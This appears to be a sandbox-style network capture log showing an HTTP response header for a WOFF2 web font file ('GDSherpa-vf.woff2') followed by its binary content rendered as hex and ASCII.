2025-03-16 23:38:00 UTC	1154	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:38:00 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="GDSherpa-vf.woff2" Last-Modified: Sun, 16 Mar 2025 23:18:36 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IPbIIXTRbJIl9s9688LXdGYjYzem3tZy%2B8buiq26q9oIf8%2BB1KrLvj7b8suOdq7uHEYIltH9Q9KOUyUy7DubujYLJg1N9Guze9Lj2Cf02UIVrwQmEsqKVpmIzs4xP85rpAaN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=345&min_rtt=327&rtt_var=107&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2266&delivery_rate=10900269&cwnd=252&unsent_bytes=0&cid=c70547826e58110f&ts=13&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 921814ea3e2843c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9657&min_rtt=7560&rtt_var=4333&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1928&delivery_rate=386243&cwnd=103&unsent_bytes=0&cid=7b380c41230f410f&ts=228&x=0"
2025-03-16 23:38:00 UTC	215	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 88 6d 2f Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h>(=[m/
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c 8d 04 79 52 93 65 62 3c 2c 78 9e 9a 82 8b e1 e3 29 f6 84 63 bf 87 74 85 01 a3 6b 16 0e 86 39 ba 09 6f 1e 54 89 f1 52 39 d1 f2 8a 9e 6b 71 93 de 54 52 25 55 f2 d4 76 a3 f6 f9 a5 72 13 5f 92 92 e2 c3 0a 13 44 ba fc 14 66 b2 84 3d 71 48 da a1 bc c4 38 df 90 3c af 1d 07 78 08 c2 28 56 98 49 b2 68 94 4c 33 2a 23 5d 38 89 e2 09 2d 94 7a 94 9c df 03 ae e5 f7 8f 17 33 91 39 56 c4 93 99 be b4 14 f9 8b 98 1e c3 96 75 bf 15 1a a7 e4 0e ea f3 ed 78 b2 b6 f2 cb fa 53 5f ea 1d ff 5c 31 f0 f2 8c ca 26 36 ed e1 bc bc ff 6a 5e da 03 c4 63 3b 28 29 6d c4 4a 9d f5 c4 17 02 3e af fa aa 97 78 7a b0 ea 59 a2 bf ed 7c c8 37 9e 00 9c e8 05 95 21 9c 6a 77 02 b6 80 2c c9 b6 4c 14 Data Ascii: >8&f&]u&VD]<yReb<,x)ctk9oTR9kqTR%Uvr_Df=qH8<x(VIhL3*#]8-z39VuxS_\1&6j^c;()mJ>xzY\|7!jw,L
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 44 66 41 90 c1 c0 1f 61 26 59 35 9d ce fc 85 47 48 9c dc 58 77 25 09 a5 15 5f 9a 11 1f 54 24 c2 22 11 1e 1e ec 77 dd f6 24 8a 23 a4 3e ee be f6 9b 95 04 2c 60 ba e4 bf 52 71 1e dd 2a 54 ea 34 59 ab a2 82 d2 3a 27 10 31 3a 48 2b 34 e8 5e c7 7b bf 7b c8 65 ff 42 cf bd bd ab ef b8 b2 97 ef 69 4a a4 41 10 31 c6 50 bb 1f be 4e e2 cd 9b d1 0b fa 4b 4f a4 c1 39 b1 d6 36 7e db fb f5 cd a9 82 cc dd 47 43 9a 20 e1 12 24 14 22 52 b8 85 38 22 8e a4 7b 76 f7 f3 d9 17 d6 f7 fc fe f9 d7 29 e7 7b 98 f3 bc db 98 3b b6 aa aa a8 aa a8 88 25 a2 ea 3b df 32 94 7c ed 9f f6 6c ef 21 73 f4 4a bb bb 26 84 c1 18 21 1e e6 21 84 0f 9b 2b 82 1a 77 af 35 6c 48 69 09 35 4a 24 75 82 dc 7e f1 b2 cd 6a 29 3d 11 8f 92 dd 10 05 7f bc 6f 86 94 ab 21 28 0f 87 be 27 08 80 be f0 01 b4 00 b6 00 Data Ascii: DfAa&Y5GHXw%_T$"w$#>,`Rq*T4Y:'1:H+4^{{eBiJA1PNKO96~GC $"R8"{v){;%;2\|l!sJ&!!+w5lHi5J$u~j)=o!('
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: c5 7f 4b d3 80 08 2e 94 c2 60 c4 f5 1e c7 c1 b8 85 e0 63 f2 fc 21 17 35 5f a4 a7 ad c0 72 cd f9 6e a8 6d 5e 74 02 56 69 66 63 5b 99 97 7c 2c fd 27 61 c8 ae 40 18 e6 df aa 18 25 6e 94 42 80 07 20 2d 08 b1 93 c5 85 92 ca 74 24 c9 29 cb 80 39 2f 50 9a 2f 68 40 1a 7d 11 88 e5 e3 a4 75 80 dc c4 20 d0 83 46 5b 06 ed d9 92 51 34 05 42 e1 1d 06 d4 cc 4f a7 f3 a8 86 14 ca 37 c2 01 b0 1d 64 67 70 c8 e6 3d 82 39 11 ef 09 cd e3 90 81 38 bc 6e d5 36 b0 30 b7 3e 73 33 bc 8a 90 c1 04 4a dc 88 5d 38 67 02 e8 f9 c8 ee e9 ce ef 51 a3 39 c0 26 c4 d8 a7 93 2b e3 36 6f b5 c5 68 7d 8c 94 c3 4b e0 ec cc 9d d2 67 95 c6 4a 2e 43 fd 67 14 df 88 78 3e 8e cb 57 e9 89 c3 1f 96 b3 87 8b 11 33 06 11 34 6b 22 26 55 c5 d6 a2 ea 59 69 82 11 80 6c b8 40 0c 1a 2b 21 c0 34 cb 4f c3 5e 14 b3 Data Ascii: K.`c!5_rnm^tVifc[\|,'a@%nB -t$)9/P/h@}u F[Q4BO7dgp=98n60>s3J]8gQ9&+6oh}KgJ.Cgx>W34k"&UYil@+!4O^
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: ce 7f 13 bb a1 3d 21 b6 2b 7d ac 76 c8 d7 02 73 06 b5 db d0 49 22 32 49 bf 10 bc a0 d8 9c 34 99 2c 33 d6 72 e1 d2 df 5e 42 a9 8e 7b bd 96 31 a6 4d de a7 62 9b cc 63 9d c6 f1 2f 34 7d 54 e7 b4 4d c7 fa 6c 99 5d 33 da 4c 77 c2 3a 92 a4 64 ed 0b e8 55 62 22 33 fc bb a8 df cf da 1f 54 fe 3f df c2 9f fa 55 eb f3 2f fb 3f 6b 42 80 e6 dc c4 5f d1 c9 e3 66 b4 c7 ea be 1d ac ee 83 8e 1b 6e 8e ad e6 bf 68 8b 30 29 a2 ef ac 6e fe 44 d0 f2 a5 17 56 22 31 26 d0 d2 6d a3 bb 17 9d 73 39 f5 89 d5 38 e0 ef 35 50 6a bd d3 68 98 1c 7f 67 c2 aa e8 a1 96 8b d8 a4 bd 9e 7c 39 3f 4f c8 a7 12 23 ec ed 11 e2 58 6c 9b 9a a1 7a 4c a7 11 3d 93 cb 1a 4c d6 56 ca 7b d7 cc 70 24 8f 19 f8 91 9b ae b0 2b 74 9c 0d c7 6e 45 bd ad 63 20 b9 63 fa 91 b3 d4 3e 10 b3 8c 0f 08 47 58 59 8d ba 5b Data Ascii: =!+}vsI"2I4,3r^B{1Mbc/4}TMl]3Lw:dUb"3T?U/?kB_fnh0)nDV"1&ms985Pjhg\|9?O#XlzL=LV{p$+tnEc c>GXY[
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 8d a8 cd c7 ac 4b bc db 69 e7 25 31 fc e9 40 8d 94 e5 4d f5 ad 81 68 83 eb e8 05 23 03 df f5 fe 06 36 b5 c7 3a 22 04 d7 4e b9 cf d6 7e 51 66 42 4f af b5 64 c4 77 d5 ac 8b 72 c5 c6 e8 da 2f 45 53 1b 5e 36 bf b9 57 f3 0c 9b a7 79 98 43 e9 85 ab 31 07 50 d2 b9 fc f2 4c 58 6f d0 0e 04 fe 5e 10 f2 a5 62 4a 03 ae f5 23 0e a0 dc 11 5f 81 1e 73 b5 7b 39 53 f6 0e a9 9c 61 b4 08 19 a0 37 a3 b3 d1 64 42 58 af 6d b4 58 b0 25 ed e0 2e 67 1a 38 ca 4f ab 6d c5 9d 35 42 5e 54 6b 53 6a da 0c 6e 36 4d af b5 37 f9 5c b6 40 5b 76 29 54 f2 59 8f 3d f3 a5 86 3a 75 01 84 29 72 e0 63 68 d6 c8 ba 8a 3f d4 d9 56 7c 70 6c 59 66 f4 6d 5c cc 9e a2 13 3d b5 d1 e2 c1 14 a1 a4 bd 58 c0 cd f9 49 38 5d 1b e0 c7 3e 80 db 57 d8 d0 f7 34 d5 e9 e3 ff a0 96 2a 2e ee aa 1c c5 9e 8d 4c 4a 79 6e Data Ascii: Ki%1@Mh#6:"N~QfBOdwr/ES^6WyC1PLXo^bJ#_s{9Sa7dBXmX%.g8Om5B^TkSjn6M7\@[v)TY=:u)rch?V\|plYfm\=XI8]>W4*.LJyn
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 06 c6 c0 fa ed 9c 1c 7d f4 0c d2 d3 70 bc 97 db 6f b1 25 df 73 6b 4b 9b 6f 58 85 19 04 fb ee 8a f8 5e bf d7 b7 51 00 f1 b3 57 23 59 2e 77 0d f4 d4 fc 07 b6 eb 05 61 4b 8f 5a 69 5f 3f 47 81 2d dd 92 6b bd 6b 22 2b 98 d4 8f e4 e9 b1 30 e8 a1 ef f4 f7 86 b3 0e 29 d8 19 de e0 eb f9 a7 c6 a9 6c 9d 52 a2 a4 d8 95 ec 1d d9 5a e9 cf 87 7a 12 ff cf f2 c9 76 7e e8 a4 ba b1 b6 d1 ee e0 7a 6f e0 85 92 f6 20 63 59 69 56 e6 b3 2a dd e1 fb 92 29 89 1f d5 9b 49 97 d7 9b e9 9f a6 2b 09 6d e5 0d 86 58 5d fc e5 38 51 16 3b ad f1 91 74 dc 2c 3d 43 ce b0 07 c9 31 8e e0 3d 9f d5 dd 53 e1 45 a4 70 60 88 7d f4 f0 c9 ce e9 3c 80 df d7 78 30 94 d8 36 05 db e0 5a 22 20 14 60 19 dd f7 b3 b4 bd 5f 75 e5 6b a0 e7 ef 7e 7d d8 73 30 10 2c 3f 4a 0d df 7f 51 a7 a1 85 fe 76 4e 9d 30 e2 68 Data Ascii: }po%skKoX^QW#Y.waKZi_?G-kk"+0)lRZzv~zo cYiV*)I+mX]8Q;t,=C1=SEp`}<x06Z" `_uk~}s0,?JQvN0h
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 95 55 6b 5d 9c cb f6 08 a5 23 7f ed f7 4e 66 a8 e5 0a f9 d5 c5 a9 c7 23 63 4f 93 1d bf 47 04 43 fb 82 87 2a 48 c7 8f d1 c3 39 c5 a6 73 dc 75 9e ee e5 63 68 f7 63 e3 75 2f 53 26 0b a9 87 9d 72 2c d1 e7 f6 b1 d4 a1 7c c2 a2 da 8a 7c 3f b9 20 fe 3a 8d 43 33 1b ab d4 f5 6d 4d c3 e2 dd 36 ee 35 62 69 95 22 f0 46 f8 d9 7a 68 37 a5 a8 21 6e b5 b2 92 5f 40 ab 16 92 96 5b e2 15 6e 46 29 46 b7 00 4f 05 6e b1 9b fa f9 5a cb 80 d9 34 ac 08 96 d6 da 40 6d 7b 3f f8 24 61 96 de 62 e5 00 a4 59 3c a2 bd a6 1e 75 01 cd 9c 00 1f 0d c7 da 08 15 91 3f d2 c4 4f 7f c1 0d 6c 0a 22 cb 59 c2 51 e4 59 52 b4 8c ef 09 b2 25 0c b9 b2 75 36 d6 a1 d6 98 53 0f e7 62 e9 dd f0 9f 66 d4 22 1b 6b 13 ea f6 c1 6d 7d 2a ba 94 7c f6 e9 dd fc 87 22 db 87 d7 e0 12 e6 4a d0 b7 e2 a7 bb 35 45 65 97 Data Ascii: Uk]#Nf#cOGCH9suchcu/S&r,\|\|? :C3mM65bi"Fzh7!n_@[nF)FOnZ4@m{?$abY<u?Ol"YQYR%u6Sbf"km}\|"J5Ee
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: c9 ab 60 21 06 9f 15 10 0a 11 56 b6 61 9b a3 60 19 bd 82 2f ef c3 27 94 de ec ac 7c 55 54 c1 6a 83 d9 78 80 42 b4 21 58 23 ee bd fb 0a 3c f6 0f 28 19 2d 72 45 2f 9d 7c c7 ad 83 d8 2f 0d 8f 8c 1e f3 0b 28 e3 21 4d 8f fb ea 20 10 30 08 28 18 b0 44 f7 bf 00 88 20 61 11 d1 62 c4 ba f7 8a 41 c1 e1 43 42 87 c9 3d 6c 7b 81 47 00 38 11 5e 87 bf 23 b8 f0 b5 38 9c ef ea 0c ae 85 bb ad d9 82 3b e8 87 fa ef ed 3d c0 a3 eb 3f 0b b7 80 4d ef 65 b7 82 c3 97 dd 06 3e bc 8c 32 b8 6e 01 00 00 00 0d 47 0c ca 60 3c 20 d5 88 13 d9 02 c9 08 14 13 80 6e 8b 60 31 74 c6 dc 8c db d7 e9 d4 6a dc 38 9e 1a bf 1e 5f 00 01 05 55 88 89 bf ca 0c 2c 3a b7 0d 0a 83 0a d2 de 02 4a df 91 b3 2b 6d b3 43 b5 a5 48 08 52 40 cb a8 7f 90 13 46 b7 a0 cc 41 5a ff 9e 89 be 8c b4 05 1a d8 6c 4e eb 08 Data Ascii: `!Va`/'\|UTjxB!X#<(-rE/\|/(!M 0(D abACB=l{G8^#8;=?Me>2nG`< n`1tj8_U,:J+mCHR@FAZlN
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: a8 7c e2 2f 37 5c 00 8e a5 ab fe c8 4d 7e f8 24 cc da 65 7a 3b ea 60 78 86 ff b3 c6 4f 36 07 f0 1a 51 20 a0 99 2b b4 a0 13 bd 18 20 6b 45 56 76 cd d7 7a ed d7 c7 ba aa 3b b1 b4 64 a3 7a aa 0f 66 70 46 7f 21 15 af 12 d9 74 5e ed 72 69 d8 84 35 5b ae ba 2b fa 7d 68 88 d0 99 2c 36 2d b4 e3 a4 1b 8f 95 8e bb 7f 97 86 e2 ba 5c 5f 5c df 69 51 46 4e 6c 02 f0 b1 d8 e7 2b 8e a3 a9 3f be b2 11 27 f6 00 43 55 69 d3 a5 df 48 6c 3e eb b5 05 1b 3e ba b4 16 0c 1b 33 6e 8c b6 ef fe ea b0 51 5b 67 5b ed 66 bb c5 76 da fd f6 d8 d0 81 a1 a3 43 33 b6 8e 1c 8d 18 91 60 24 d2 66 95 22 dd f3 ef ac 3b 07 1e e5 27 52 13 68 c6 e2 f5 de f1 3b 8f f0 81 ef 71 fe f1 fd 49 ba 7e 09 cf 1d a4 7f fa e7 21 f4 b6 ef 13 3a 82 ff 4c fc 0f 8e df 4c fc 77 bc e8 8d 3f ec d3 17 d9 de 8d b4 1f db Data Ascii: \|/7\M~$ez;`xO6Q + kEVvz;dzfpF!t^ri5[+}h,6-\_\iQFNl+?'CUiHl>>3nQ[g[fvC3`$f";'Rh;qI~!:LLw?